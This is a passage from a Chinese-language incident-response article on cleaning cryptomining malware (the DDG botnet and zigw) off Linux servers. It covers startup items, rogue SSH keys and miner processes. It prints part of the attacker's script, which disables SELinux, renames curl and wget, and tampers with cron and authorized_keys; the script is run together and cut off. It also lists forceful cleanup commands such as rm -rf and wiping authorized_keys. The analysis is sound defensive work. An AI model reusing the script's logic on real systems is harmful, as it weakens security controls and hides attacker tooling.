4. 清除启动项
还有的挖矿进程为了实现长期驻留,会向系统中添加启动项来确保系统重启后挖矿进程还能重新启动 。所以在清除时还应该关注启动项中的内容,如果有可疑的启动项,也应该进行排查,确认是挖矿进程后,对其进行清除 。
排查过程中重点应该关注:
/etc/rc0.d/、/etc/rc1.d/、/etc/rc2.d/、/etc/rc3.d/、/etc/rc4.d/、/etc/rc5.d/、/etc/rc6.d/、/etc/rc.d/、/etc/rc.local /etc/inittab等目录或文件下的内容 。
5. 清除公钥文件
在用户家目录的.ssh目录下放置authoruzed_keys文件,从而免密登陆该机器也是一种常见的保持服务器控制权的手段 。在排查过程中应该查看该文件中是否有可疑公钥信息,有的话直接删除,避免攻击者再次免密登陆该主机 。
[UserDIR]/.ssh/authorized_keys
6. kill挖矿进程
对于单进程挖矿程序,直接结束挖矿进程即可 。但是对于大多数的挖矿进程,如果挖矿进程有守护进程,应先杀死守护进程再杀死挖矿进程,避免清除不彻底 。
kill -9 pid 或 pkill ddg.3014
在实际的清除工作中,应找到本机上运行的挖矿脚本,根据脚本的执行流程确定木马的驻留方式,并按照顺序进行清除,避免清除不彻底 。
0x005 挖矿进程清除实例
1. ddgs.3014清除
DDG 是一个专注于扫描控制 SSH 、 Redis数据库 和 OrientDB数据库服务器,并利用服务器算力挖矿(门罗币)的僵尸网络 。

文章插图
ddg.3014的执行脚本 i.sh

文章插图
可以看到,脚本的执行流程是先写入定时任务(/var/spool/cron/root 或 /var/spool/cron/crontabs/root),然后下载对应版本的ddgs.3014文件并执行,最后清除其他存在于本机的挖矿样本 。
ddgs.3014执行后会主动连接攻击者的C2服务器去下载相应的挖矿程序并运行,而且ddg还内置了redis和SSH扫描器,会对redis和SSH进行爆破,ddg还会在.ssh/authorized_keys中留下公钥 。

文章插图

文章插图
ddgs.3014程序 和 qW3xT.4挖矿文件,

文章插图
此时会有两个ddg相关进程进程,ddg.3014和qW3xT.4,

文章插图
使用top命令可以看到,占用cpu较高的是qW3xT.4进程,即矿机 。

文章插图
根据脚本的执行流程可以知道,ddg.3014挖矿木马的清除步骤是
1).首先清除定时任务,删除/var/spool/cron/root 和 /var/spool/cron/crontabs/root中的内容
2).结束ddgs.3014,kill -9 1546 或 pkill -9 ddgs.3014
3).结束矿机进程,kill -9 1734 或 pkill -9 qW3xT.4
4).清除其他残留文件,rm -rf ~/.ddg /tmp/ddgs.3014 /tmp/qW3xT.4
5).清除authorized_keys中的恶意公钥, echo "" > ~/.ssh/authorized_keys
2. zigw清除
zigw是一种XMR挖矿工具,攻击者通过爆破SSH获取系统权限,配置root用户免密登录,并下载及执行XMR 挖矿程序,及XMR 网页挖矿程序 。XMR挖矿程序耗主机的CPU/GPU资源,网页挖矿程序耗访问服务器JS 网页的客户端资源。
攻击者的C2服务器页面本身就自带JS挖矿效果:

文章插图
zigw的执行脚本 shz.sh如下,
#!/bin/shsetenforce 0 2>dev/nullecho SElinux=desabled > /etc/sysconfig/selinux 2>/dev/null
sync && echo 3 >/proc/sys/vm/drop_caches
crondir='/var/spool/cron/'"$USER"cont=`cat ${crondir}`ssht=`cat /root/.ssh/authorized_keys`echo 1 > /etc/gmbpr2
rtdir="/etc/gmbpr2"oddir="/etc/gmbpr"bbdir="/usr/bin/curl"bbdira="/usr/bin/url"ccdir="/usr/bin/wget"ccdira="/usr/bin/get"mv /usr/bin/wget /usr/bin/get
mv /usr/bin/curl /usr/bin/urlif [ -f "$oddir" ] then
pkill zjgw
chattr -i /etc/shz.sh
rm -f /etc/shz.sh
chattr -i /tmp/shz.sh
rm -f /tmp/shz.sh
chattr -i /etc/gmbpr
rm -f /etc/gmbpr else
echo "ok"fiif [ -f "$rtdir" ] then
echo "goto 1" >> /etc/gmbpr2
推荐阅读
- JavaScript 究竟是如何工作的?
- 春季如何正确保养皮肤 春季如何保养皮肤
- 白琳工夫的生长环境如何
- 饼干面团松散怎么补救 月饼皮一捏就散如何补救
- 常见易被忽略的用药小知识
- 工夫红茶与红碎茶的常见弊病 你知道吗
- 面试题:如何设计一个消息队列?
- 该如何解决就业、求职问题 如何解决就业问题
- 如何关闭抖音个人资质认证 抖音如何取消达人资质
- 教你如何辨别红碎茶的好坏
